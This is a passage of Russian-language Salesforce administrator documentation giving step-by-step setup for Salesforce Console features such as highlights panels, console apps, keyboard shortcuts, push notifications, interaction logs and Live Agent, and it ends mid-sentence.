Подготовка к настройке консоли Salesforce

Настраиваемые функции консоли Salesforce
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Активация полномочий пользователей Sales Console для консоли Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Performance Edition и
Developer Edition.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition за
дополнительную плату.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания наборов
полномочий:
• «Управление

пользователями»

Полномочие «Sales Console» может быть добавлено в набор полномочий после
предоставления пользователям лицензии на консоль Salesforce for Sales.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Создайтенаборполномочий. Присозданиинабораполномочийвыберите значение
«Нет» вполе «Лицензияпользователя». Выбордругого типалицензиипрепятствует
добавлению полномочия «Sales Console» в данный набор полномочий.

3. Щелкните ссылку «Полномочияприложения»на странице «Наборполномочий».

4. Выберите полномочие «Sales Console» и нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка консоли Salesforce for Sales
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Включение панелей основных показателей консоли Salesforce

ВЕРСИИ

Консоль Salesforce
доступна в Salesforce
Classic и в средстве запуска
приложений Lightning
Experience. Настройки для
консоли Salesforce см. в
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Панели основных показателей отображаются на консоли только после их включения.

1. Измените любой макет страницы ищелкните «Свойства макета».

2. Установите флажок «Панель основных показателей» и нажмите кнопку «ОК».

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка консоли Salesforce for Service

Настройка консоли Salesforce for Sales

Настройка панелей основных показателей для консоли Salesforce

Формат и поля панели основных показателей

4245

Включение панелей основных показателей консоли
Salesforce

Оптимизация приложений Sales и Service посредством
консоли Salesforce



Настройка панелей основных показателей для консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Панель основных показателей — это настраиваемая таблица, содержащая не более
четырех столбцов и расположенная в верхней части всех основных вкладок консоли.
Данная панель позволяет пользователям консоли быстро просматривать ключевую
информацию.

Чтобы отредактировать панель основных показателей, наведите указатель мыши на
нужнуюпанель в любоммакете страницыищелкните значок или дваждыщелкните
нужнуюпанель. Чтобыдобавитьилиизменитьполя, щелкнитесоответствующийстолбец
и выберите нужные поля в списках «Верхнее поле» и «Нижнее поле». Если нужные
поля отсутствуют, рекомендуем добавить их в макет страницы сведений. Поля могут
отображаться на каждой панели основных показателей только один раз. Поля, которые
уже используются, отображаются серым цветом. Панель основных показателей не
поддерживает поля типа «Область обогащенного текста», настраиваемые поля типа
«Область подробного текста» и объект «Транскрипт».

Чтобы удалить поле, щелкните соответствующийстолбеци выберите значение «-Нет-»
в списке полей. Чтобы добавить столбец, нажмите кнопку «Добавить столбец». Чтобы

удалить столбец, наведите указатель мыши на нужный столбец ищелкните значок .

Чтобы сохранить изменения, внесенные на панель основных показателей, нажмите
кнопку «OK» в диалоговом окне «Свойства панели основных показателей». Чтобы
завершить редактирование макета страницы, нажмите кнопку «Сохранить». Панели
основных показателей отображаются на консоли только после их включения.

Важное замечание: Закрытие макета страницы без нажатия кнопки «Сохранить»
инициирует потерю изменений, внесенных на панель основных показателей.

СМ. ТАКЖЕ:

Включение панелей основных показателей консоли Salesforce

Формат и поля панели основных показателей
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Формат и поля панели основных показателей

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Преждечемнастроитьпанельосновныхпоказателейдляконсоли Salesforce, просмотрите
данные правила форматирования.

Панельосновныхпоказателейможет содержатьлюбыестандартныеилинастраиваемые
поля, которые уже добавлены в макет страницы. Каждая панель может содержать не
менее одного, но не более четырех столбцов полей. Каждый столбец может содержать
от одного до двух полей в верхней или нижней позиции.

Припросмотрепанелиосновныхпоказателейшрифтверхнихполейжирнееикрупнее,
чемшрифтнижнихполей. Пользователимогут просматривать толькополя, доступные
дляпросмотра. Впротивномслучае, поляотображаютсяпустыми. Еслиобаполястолбца
отображаются пустыми, то столбец также отображается пустым.

СМ. ТАКЖЕ:

Настройка панелей основных показателей для консоли Salesforce

Включение панелей основных показателей консоли Salesforce
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Создание приложения консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
приложений:
• «Просмотр настройки и

конфигурации»

Для управления
приложениями:
• «Настройка

приложения»

Для создания консоли администратору необходимо создать приложение консоли.

Просмотреть обзор (Требуется полномочие «Sales Console» или лицензия
«Пользователь Service Cloud».)

Каждая консоль — это настраиваемое приложение, доступное для выбора в меню
приложений Force.com. Количество приложений консоли, доступное для создания,
определяется ограничениями организации для настраиваемых приложений.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка»,
выберите пункт «Приложение» и нажмите кнопку «Далее».

2. Нажмите кнопку «Создать», выберите «Консоль» и нажмите кнопку «Далее». При
необходимости, чтобы скопировать имеющуюся консоль, нажмите кнопку
«Клонировать»на страницесведенийконсоли. Сохраните скопированнуюконсоль
перед обновлением ее клонированных всплывающих уведомлений или клавиш
быстрого доступа.

3. Укажите метку для приложения и нажмите кнопку «Далее».Размер метки может
составлять до 40 символов с пробелами. Данная метка является именем приложения
в меню приложений Force.com.

4. Принеобходимости добавьте настраиваемыйлоготип. Нажмите кнопку «Вставить
изображение», выберите нужный графическийфайл из библиотеки документов и
нажмите кнопку «Далее».

5. Выберите элементы для добавления на вкладку «Навигация» и нажмите кнопку
«Далее». Вкладка «Навигация» не поддерживает добавление следующих элементов:
прогнозы, идеи, ответы, подключения, порталы, консоль, действия (задачиисобытия),
средство запуска приложений и кнопки для настройки организации. Параметры
доступности вкладки и параметр «Изменять настройки личных вкладок
пользователя» не применяются ко вкладке «Навигация». Например, вкладка
«Навигация» предоставляет доступ к учетным записям, несмотря на выбор значения
«Вкладка скрыта» для объекта «Учетные записи» в профилях пользователей.

6. Выберитеотображениеэлементов, которыеотсутствуютнаосновнойиливложенной
вкладке, и нажмите кнопку «Далее». Например, можно указать, в каких случаях
элементыдолжныотображатьсякакосновныеиливложенныевкладкивродительских
записях при выборе спискового представления, отображения результатов поиска
или всплывающих окон. Нажмите кнопку...

• «В виде основной вкладки» дляотображениязаписейобъекта в видеосновных
вкладок.

• «В виде вложенной вкладки для» для отображения записей объекта в виде вложенных вкладок. Выберите из
раскрывающегося списка нужную родительскую запись для отображения вложенной вкладки. Например, чтобы
отображать обращения в виде вложенных вкладок для контактов, выберите «Имя контакта (Контакт)» в строке
«Обращения». Приотсутствииродительскихзаписейвложенныевкладкиотображаютсяввидеосновных. Например,
кампания отображается в виде основной вкладки, если кампании используются в виде вложенных вкладок для
интересов, а интерес не принадлежит кампании.
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7. Если организация использует Service Cloud и Live Agent, то при необходимости установитефлажок «Добавить Live

Agent в данное приложение» и нажмите кнопку «Далее». Чтобы добавить рабочее пространство чата для Live
Agent на консоль, выполните одно из указанных ниже действий.

• Выберите записи или страницы для открытия в виде вложенных вкладок сеансов чата.

• Чтобыдобавитьинструмент «Статьи» врабочеепространствочата, установитефлажок «Добавить предложенные
статьи из Salesforce Knowledge в Live Agent».

8. Назначьте консоль Salesforce профилям пользователей.

a. Чтобы выбрать профили, которым должно быть доступно приложение, установите флажок «Доступно».

b. Установите флажок «По умолчанию», чтобы установить приложение в качестве приложения профиля по
умолчанию, то есть новые пользователи при первом входе в систему будут видеть это приложение в профиле.
Профили с ограничениями исключены из этого списка.

9. Нажмите кнопку «Сохранить».

Совет: Чтобыпросмотретьлюбыеизменения, внесенныевнастройкиконсоли, рекомендуемобновитьобозреватель.

СМ. ТАКЖЕ:

Настройка консоли Salesforce for Service

Настройка консоли Salesforce for Sales

Придание фирменного стиля консоли Salesforce
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Настройка консоли Salesforce

Настраиваемые функции консоли Salesforce

ВЕРСИИ

Консоль Salesforce
доступна в Salesforce
Classic и в средстве запуска
приложений Lightning
Experience. Настройки для
консоли Salesforce см. в
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки консоли
Salesforce for Service:
• «Настройка

приложения»

Для настройки консоли
Salesforce for Sales:
• «Настройка

приложения»

И

«Пользователь Sales
Console»

Чтобы определить, как вы просматриваете и обрабатываете данные, администратор
должен включить и настроить большинство функций консоли.

Доступно на
консолидляпродаж

Доступно на
консоли для
обслуживания

Автоматическое
включение

Функция

Панель основных
показателей

Придание
фирменного стиля
консоли

Фиксированные
списки

Сохранение сеансов
пользователя

Закладкиинедавние
вкладки

Клавиши быстрого
доступа

Компоненты
мультимонитора

Компоненты
консоли

Список
разрешенных
доменов

Всплывающие
уведомления

Журналы
взаимодействия

Интеграция
программного
телефона

Боковаяпанельбазы
знаний
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Колонтитул Knowledge One

Live Agent

СМ. ТАКЖЕ:

Консоль Salesforce

Выбор способа отображения списков на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выбора способа
отображения списков:
• «Настройка

приложения»

Администраторы могут изменять способ отображения списков в консоли.

Консоль поддерживает три способа отображения списков.

ОписаниеТип списка

Спискиотображаютсятолькопривыборе
вкладки «Навигация». Запись, выбранная
из списка, открывается в новой вкладке.

Во весь экран, без фиксации

Списки отображаются постоянно, вверху
страницы. Запись, выбранная из списка,
открывается в новой вкладке под списком.

Фиксация сверху

Спискиотображаютсяпостоянно, влевой
части страницы. Запись, выбранная из
списка, открываетсявновойвкладкесправа
от списка.

Фиксация слева

Чтобы изменить способ отображения списков, выполните указанные ниже действия.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Выберите приложение консоли.

3. Нажмите кнопку «Правка».

4. Выберите нужный способ отображения списков. При выборе фиксированных
списков укажите размер по умолчанию (в пикселах или процентах).

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настраиваемые функции консоли Salesforce

Консоль Salesforce
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Сохранение сеансов пользователя на консоли Salesforce

ВЕРСИИ

Консоль Salesforce
доступна в Salesforce
Classic и в средстве запуска
приложений Lightning
Experience. Настройки для
консоли Salesforce см. в
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для сохранения сеансов
пользователя на консоли
Salesforce:
• «Настройка

приложения»

Администраторымогут сохранять сеансы, благодарячемупользователи, выполняющие
повторныйвход, могутбыстрооткрывать компоненты, использовавшиесяпризакрытии
обозревателя или выходе из системы Salesforce.

Если организация поддерживает консоль, то автоматическое сохранение сеансов
позволяет отображать перечисленные ниже компоненты при повторном входе
пользователя: любая из ранее открывавшихся вкладок, настраиваемые компоненты
консоли, компоненты боковой панели измененного размера, открытый или закрытый
заголовок поиска и журналы взаимодействия.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Выберите приложение консоли.

3. Нажмите кнопку «Правка».

4. Если сеансы пользователя не сохраняются, щелкните «Сохранить сеансы
пользователя».

5. Нажмите кнопку «Сохранить».

Прим.: Консоль использует свойство обозревателя sessionStorage, чтобы
сохранять вкладки до закрытия их пользователем. Если пользователь выходит из
системы Salesforce, а затем входит в одно и то же окно, будут отображены вкладки,
открытые во время предыдущего сеанса, даже если параметр «Сохранить сеансы
пользователя» отключен.

СМ. ТАКЖЕ:

Настраиваемые функции консоли Salesforce

Консоль Salesforce
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Включение компонента «Журнал» для консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения компонента
«Журнал»:
• «Настройка

приложения»

Принеобходимостидобавьте компонент «Журнал» внижнийколонтитулнастроенной
консоли для предоставления пользователям быстрого доступа к недавним основным
вкладкам или закладкам без выполнения поиска по системе Salesforce.

Прим.: Ввыпуске Summer'15 компонент «Последниевкладки» замененкомпонентом
«Журнал» и дополнен закладками, которые позволяют ускорить процесс поиска
иизвлечениянужныхвкладок. Данныефункциинеподдерживаютсяобозревателями
Internet Explorer® 7 и 8.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Выберите приложение консоли Salesforce.

3. Нажмите кнопку «Правка».

4. Добавьте компонент «Журнал» в столбец «Выбранные элементы» поля «Выбрать
компоненты консоли».

5. Выберитеобластьотображениякомпонентавнижнемколонтитулевполе «Выровнять
настраиваемые компоненты консоли».

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настраиваемые функции консоли Salesforce

Консоль Salesforce
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Настройка клавиш быстрого доступа на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки клавиш
быстрого доступа на
консоли Salesforce:
• «Настройка

приложения»

Создавайте и настраивайте клавиши быстрого доступа, чтобы пользователи могли
быстро выполнять действия, пользуясь только клавиатурой.

Если организация использует консоль, то некоторые стандартные клавиши быстрого
доступа включаются автоматически и доступны для настройки. Например, нажатием
клавиш можно открывать и закрывать вкладки, перемещаться между ними и сохранять
записи. Прежде чем создать настраиваемые клавиши, разработчик должен определить
действия клавиш с помощью метода addEventListener() в средстве интеграции
консоли Salesforce. Для создания доступны только те клавиши быстрого доступа, с
помощью которых выполнялись действия на консоли.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Щелкните ссылку «Правка» напротив нужного приложения консоли Salesforce.

3. Щелкните «Настроить клавиши быстрого доступа».

4. Нажмите кнопку «Правка» вверху страницы.

5. Щелкните «Правка», чтобынастроитьимеющуюсяклавишубыстрогодоступа, или
нажмите «+Добавить клавишу быстрого доступа», чтобы создать новую. При
созданииновойклавишибыстрогодоступанеобходимоввести имя события консоли,
которое является уникальным идентификатором для ключевых команд, а затем
отправьте имя события разработчику, определившему действие клавиши быстрого
доступа, для добавления его к методу, который будет инициировать клавишу.
Стандартные клавиши не могут быть удалены, но могут быть изменены или
деактивированы.

6. Нажмите кнопку «Сохранить».

По завершении уведомите пользователей, назначенных соответствующей консоли, о
новых доступных им действиях.

Прим.: Для каждой консоли можно установить до 144 клавиш быстрого доступа,
включаястандартныеисозданныеклавиши. Созданныеилинастроенныеклавиши
быстрогодоступа, связанныесостандартнымиклавишамиобозревателя (например,
CTRL + F), могут работать некорректно.

Клавишибыстрогодоступанечувствительныкрегиструдажеприпредварительном
нажатии клавиши SHIFT. Например, SHIFT+b идентичен комбинации SHIFT+B.
Порядокнажатия клавиш CTRL, ALT и SHIFT (приихналичиив комбинации) неимеет
значения. Например, комбинация CTRL + ALT + A аналогична комбинации
ALT + CTRL + A.
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Совет: Количество элементов, используемых в клавишах быстрого доступа, не ограничивается. Удобными для
запоминания считаются клавиши быстрого доступа, содержащие не более трех элементов. Для просмотра списка
всех клавиш быстрого доступа консоли нажмите SHIFT+K.

СМ. ТАКЖЕ:

Стандартные клавиши быстрого доступа для консоли Salesforce

Настраиваемые функции консоли Salesforce

Консоль Salesforce

Включение компонентов мультимонитора для консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
компонентов
мультимонитора:
• «Настройка

приложения»

При настроенной консоли включаются компоненты мультимонитора, что позволяет
перемещать части консоли в разные области экрана для удобства работы.

С помощью компонентов мультимонитора можно разворачивать основные вкладки
или программные телефоны Open CTI в обозревателях и перетягивать их на несколько
мониторов. Также можно перемещать компонент «Журнал», чаты Live Agent (кроме
компонента нижнего колонтитула) и любые компоненты консоли, входящие в нижний
колонтитул консоли.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Выберите приложение консоли.

3. Нажмите кнопку «Правка».

4. Чтобы включить компоненты мультимонитора, установите флажок «Включить
компоненты мультимонитора».

5. Нажмите кнопку «Сохранить».

Прим.: При выходе из системы Salesforce развернутые элементы закрываются и
теряютсвоеместоположениена экране; щелкните ссылку «Настройка», щелкните
ссылку для закрытия консоли или обновите/закройте обозреватели.

Совет: Возможно, разворачиваниекомпонентовпотребуетобновленияследующих
параметров обозревателя: (1) включить всплывающие окна; (2) открывать ссылки
в новых окнах, а не в новых вкладках.

СМ. ТАКЖЕ:

Настраиваемые функции консоли Salesforce

Консоль Salesforce
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Добавление доменов для консоли Salesforce в список разрешенных

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления доменов
консоли Salesforce в список
разрешенных:
• «Настройка

приложения»

Администраторымогутоткрытьпользователямконсолидоступкдоменамзапределами
Salesforce. Например, домен www.primer.ru, добавленный в список разрешенных
доменов, может быть доступен пользователям консоли.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Выберите приложение консоли.

3. Нажмите кнопку «Правка».

4. Введите нужные домены через запятые в поле «Разрешенные домены». Элемент
http:// или https://, являющийся частью URL-адреса, а не домена, можно
опустить.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настраиваемые функции консоли Salesforce

Консоль Salesforce
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Настройка всплывающих уведомлений для консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Сведения для настройки
всплывающих уведомлений
• «Настройка

приложения»

Администраторы могут настраивать всплывающие уведомления, чтобы пользователи
просматривали изменения обрабатываемых записей другими пользователями.

Всплывающие уведомления — это визуальные индикаторы в списках и на страницах
сведений консоли, указывающие на изменение записи или поля во время сеанса
пользователя. Например, если один из агентов службы поддержки, обрабатывающих
одно и то же обращение, меняет значение поля «Приоритет», то второму агенту
отображается всплывающее уведомление, указывающее на данное изменение.

Укажите, когда отображать всплывающие уведомления и какие объекты их поля их
инициируют.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Выберите приложение консоли и щелкните «Правка».

3. Выберите условия отображения всплывающих уведомлений в параметре «Выбрать
способ обновления списков».

ОписаниеПараметр

Спискинеобновляются, а всплывающие
уведомления не отображаются.

Нет

При наличии изменений обновляется
целый список. Записи добавляются или
удаляютсяиз списканаоснове заданных
критериев, но новые записи,
добавленные в очереди, обновляют
только списокответственного за запись.

Обновить список

При наличии изменений в выбранных
полях обновляются строки списка.

Обновить строки списка

4. Выберите условия отображения всплывающих уведомлений в параметре «Выбрать
способ обновления страниц сведений».

ОписаниеПараметр

Страницы сведений не обновляются, а всплывающие
уведомления не отображаются.

Не обновлять

При изменении записи страница сведений обновляется
автоматически.

Обновлять автоматически

При изменении записи на странице сведений
отображается сообщение.

Пометить
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5. Щелкните«Выбратьобъектыиполядляуведомлений»инажмите«Правка». Выбранныенастройкивсплывающих
уведомлений будут применены ко всем приложениям консоли.

6. Выберите объекты, инициирующие всплывающие уведомления. Например, чтобы отображать всплывающие
уведомления при изменении обращений и их полей, переместите объект «Обращения» из списка «Доступные
элементы» в список «Выбранные элементы».

7. Чтобы выбрать поля объекта, которые должны инициировать всплывающие уведомления, щелкните «Правка» в
разделе «Поля».

8. Нажмите кнопки «OK» и «Сохранить».

9. Предоставьте пользователям всплывающих уведомлений как минимум полномочие «Чтение» для стандартного
объекта «Темы активной доставки». См. раздел «Полномочия и доступ пользователя» на странице 583.

Важное замечание: Привключениипараметрабезопасностисеанса «Требовать атрибут HttpOnly» всплывающие
уведомления не отображаются.

Прим.: Объекты и их поля, доступные для всплывающих уведомлений: учетные записи, контакты, обращения,
интересы, возможности, кампании, задачи и настраиваемые объекты.

СМ. ТАКЖЕ:

Настраиваемые функции консоли Salesforce

Консоль Salesforce
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Включение журналов взаимодействия

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения журналов
взаимодействия:
• «Настройка

приложения»

Чтобы просмотреть журналы взаимодействия, включите их в макетах страниц,
назначенных разным профилям.

1. Измените любой макет страницы ищелкните «Свойства макета».

2. Установите флажок «Журнал взаимодействия» и нажмите кнопку «OK».

3. Нажмите кнопку «Сохранить».

Прим.: Чтобыпросмотретьизмененияпривключенииилиотключениижурналов
взаимодействия, рекомендуем закрыть и повторно открыть записи.

СМ. ТАКЖЕ:

Настройка журналов взаимодействия для консоли Salesforce

Назначение журналов взаимодействия

Настраиваемые функции консоли Salesforce

Консоль Salesforce
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Настройка журналов взаимодействия для консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки журналов
взаимодействия:
• «Настройка

приложения»

Журнал взаимодействия позволяет пользователям консоли Salesforce добавлять
примечания к записям, отображающимся на основных вкладках.

Например, журнал взаимодействия может использоваться для добавления примечаний
к обращениям, отображающимся на основных вкладках. Консоль позволяет создать и
настроить несколько журналов взаимодействия для отображения определенных полей
задач, которые должны быть обновлены разными пользователями.

1. Введите строку «Макеты журнала взаимодействия» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Макетыжурнала взаимодействия».

2. Нажмите кнопку «Создать».

3. Введите имя журнала взаимодействия.

4. Выберите нужные поля задач и нажмите кнопку «Добавить».

• Обязательные поля помечены символом *.

• Журналы взаимодействия позволяют добавлять только редактируемые поля
задач.

• Поле «Добавьте свои примечания...» автоматически добавляется во все
журналы взаимодействия и не может быть удалено.

5. Чтобы выбрать журнал взаимодействия в качестве стандартного для всех
пользователей, установите флажок «Выбрать в качестве макета по умолчанию».

Стандартный журнал взаимодействия не может быть удален. Чтобы удалить
стандартный журнал взаимодействия, выберите другой журнал в качестве
стандартного.

6. Нажмите кнопку «Сохранить».

Настроенные журналы взаимодействия могут быть назначены разным профилям и
активированы для отображения.

Совет: Задачиподдерживаютсозданиенастраиваемыхполей, которыемогутбыть
добавлены в журналы взаимодействия. Например, создайте раскрывающийся
список «Настроение вызывающего абонента», содержащийзначения «Недоволен»,
«Нейтрально» и «Доволен».

СМ. ТАКЖЕ:

Включение журналов взаимодействия

Назначение журналов взаимодействия

Настраиваемые функции консоли Salesforce

Консоль Salesforce
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Назначение журналов взаимодействия

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения журналов
взаимодействия:
• «Настройка

приложения»

Настроенные журналы взаимодействия могут быть назначены разным профилям.

1. Введите строку «Макеты журнала взаимодействия» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Макетыжурнала взаимодействия».

2. Щелкните «Назначение макетажурнала».

3. Выберитежурнал взаимодействия дляназначения каждомупрофилюпользователя.

4. Нажмите кнопку «Сохранить».

Прим.: Журналы взаимодействия не могут быть назначены профилям
пользователей портала, так как приложения консоли Salesforce недоступны
пользователям портала.

СМ. ТАКЖЕ:

Включение журналов взаимодействия

Настройка журналов взаимодействия для консоли Salesforce

Настраиваемые функции консоли Salesforce

Консоль Salesforce
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Добавление приложения Live Agent на консоль Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавленияприложения
Live Agent на консоль
Salesforce:
• «Настройка

приложения»

Благодаря добавлению приложения Live Agent на консоль Salesforce, агенты и
администраторы могут общаться с клиентами и получать централизованный доступ к
другим инструментам для обслуживания клиентов.

Прежде чем добавить Live Agent в приложение консоли Salesforce, рекомендуем сначала
создать приложение консоли Salesforce.

Настройте и добавьте приложение Live Agent в приложение консоли Salesforce.
Приложение Live Agent, настроенное на консоли, может использоваться агентами для
взаимодействиясклиентами. Консоль Salesforceпредоставляетагентамиадминистраторам
централизованный доступ к приложению Live Agent и другим продуктам Service Cloud,
